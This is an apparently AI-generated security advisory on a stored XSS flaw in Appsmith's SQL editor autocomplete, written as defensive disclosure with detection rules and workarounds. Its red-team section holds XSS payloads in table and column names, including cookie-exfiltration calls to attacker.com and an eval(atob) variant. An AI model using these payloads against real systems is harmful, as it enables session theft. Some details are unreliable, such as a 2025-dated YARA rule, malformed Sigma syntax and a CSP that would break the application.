CVE-2026-7299

Executive Summary

CVE-2026-7299 is a stored cross-site scripting (XSS) vulnerability in Appsmith’s SQL query editor. The autocomplete feature fails to sanitize database object names (e.g., table or column names) before rendering them via innerHTML. An authenticated attacker with Developer privileges can create or rename a database object to contain malicious JavaScript. When other workspace members interact with the same datasource, the payload executes in their browser sessions, leading to arbitrary code execution within the Appsmith application context.

This vulnerability is classified as Medium severity (CVSS 6.3) and requires authenticated access with Developer privileges. No public exploit code or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk increases as details become public.

Supply Chain & Package Security

Appsmith is a self-hosted or cloud-based low-code platform. The vulnerability resides in the frontend JavaScript code that handles the SQL query editor’s autocomplete. Since Appsmith is distributed as a Docker image or via npm packages, supply chain risks include:

• Compromised npm packages used by Appsmith’s frontend (e.g., React, CodeMirror).
• Malicious database object names injected via third-party database connectors.
• No patch available – users must rely on workarounds or custom sanitization.

CVSS Breakdown & Threat Level

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the impact can spread across workspace members.

Deep Dive & Mechanics

The vulnerability exists in the SQL query editor’s autocomplete component. When a user types in the editor, the frontend fetches database object names (tables, columns) from the datasource schema. These names are then rendered in a dropdown list using innerHTML without sanitization.

Attack Flow:

1. Attacker (with Developer role) creates a table or column with a name like <img src=x onerror=alert(1)>.
2. The malicious name is stored in the database schema.
3. When another workspace member opens the same datasource and starts typing in the SQL editor, the autocomplete dropdown renders the malicious name.
4. The browser executes the injected JavaScript in the victim’s session.

Root Cause: The use of innerHTML instead of textContent or proper DOM sanitization (e.g., DOMPurify) for rendering user-controlled database object names.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Autocomplete component
function renderAutocomplete(suggestions) {
  const dropdown = document.getElementById('autocomplete-dropdown');
  dropdown.innerHTML = suggestions.map(s => `<div>${s.name}</div>`).join('');
}

Patched Code (Conceptual):

// Use textContent or sanitize
function renderAutocomplete(suggestions) {
  const dropdown = document.getElementById('autocomplete-dropdown');
  dropdown.innerHTML = ''; // Clear
  suggestions.forEach(s => {
    const div = document.createElement('div');
    div.textContent = s.name; // Safe
    dropdown.appendChild(div);
  });
}

No official patch is available as of this report. Users must implement workarounds.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to Appsmith with Developer role.
• Ability to create or rename database objects (tables, columns).

Exploitation Steps:

1. Log in as a Developer.
2. Navigate to a datasource (e.g., PostgreSQL, MySQL).
3. Create a new table with a malicious name:

   CREATE TABLE "<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>" (id INT);
   

4. Alternatively, rename an existing column:

   ALTER TABLE users RENAME COLUMN email TO "<svg onload=eval(atob('YWxlcnQoMSk='))>";
   

5. Wait for another workspace member to open the same datasource and type in the SQL editor.
6. The payload executes, exfiltrating session tokens or performing actions on behalf of the victim.

Proof-of-Concept (PoC):

// Malicious table name payload
const payload = `<img src=x onerror="new Image().src='https://attacker.com/exfil?data='+btoa(document.cookie)">`;
// Create table via SQL query
// Note: Actual injection depends on database type and Appsmith version

Blue Team

Detection:

• Monitor for unusual database object names containing HTML/JavaScript characters (<, >, onerror, onload, etc.).
• Audit Appsmith logs for CREATE TABLE or ALTER TABLE statements with suspicious names.
• Use WAF rules to block SQL queries containing HTML tags in object names.

Prevention:

• Restrict Developer role to trusted users only.
• Implement input validation on database object names at the application layer (e.g., reject names with < or >).
• Use Content Security Policy (CSP) headers to mitigate XSS impact:

  Content-Security-Policy: default-src 'self'; script-src 'none';
  

Lab Setup:

1. Deploy Appsmith using Docker:

   docker run -d --name appsmith -p 8080:80 -p 443:443 appsmith/appsmith-ce
   

2. Create a PostgreSQL datasource.
3. As attacker, create a table with XSS payload.
4. As victim, open the datasource and trigger autocomplete.

Indicators of Compromise (IOCs)

• Database object names containing HTML tags or JavaScript event handlers (e.g., <img, <svg, onerror, onload).
• Network requests to external domains from Appsmith frontend (e.g., attacker.com/exfil).
• Appsmith logs showing CREATE TABLE or ALTER TABLE with suspicious names.
• Browser console errors related to innerHTML or XSS.

Detection Engineering

YARA Rule

rule CVE_2026_7299_Appsmith_XSS {
    meta:
        description = "Detects malicious database object names used in CVE-2026-7299"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-7299"
    strings:
        $xss_payload1 = /<[^>]+onerror\s*=/i
        $xss_payload2 = /<[^>]+onload\s*=/i
        $xss_payload3 = /<svg[^>]*>/i
        $xss_payload4 = /<img[^>]*>/i
    condition:
        any of them
}

Sigma Rule

title: Appsmith SQL Editor Autocomplete XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of database objects with XSS payloads in Appsmith
author: Valters IT
logsource:
    product: appsmith
    service: audit
detection:
    selection:
        event: "CREATE_TABLE" or "ALTER_TABLE"
        object_name|contains: 
            - "<"
            - ">"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of special characters in object names (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-7299 Appsmith XSS Exfiltration"; flow:to_server,established; content:"/exfil"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Workarounds:

1. Restrict Developer Role: Only grant Developer privileges to trusted users.
2. Input Validation: Implement a proxy or middleware that rejects SQL statements containing HTML tags in object names.
3. CSP Headers: Add strict Content Security Policy to prevent script execution:

   Content-Security-Policy: default-src 'self'; script-src 'none'; style-src 'self' 'unsafe-inline';
   

4. Disable Autocomplete: If possible, disable the autocomplete feature in the SQL editor until a patch is available.

Long-Term Fix:

• Appsmith must update the autocomplete component to use textContent or sanitize input with DOMPurify before rendering.
• Monitor Appsmith’s GitHub repository for official patch releases.

Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.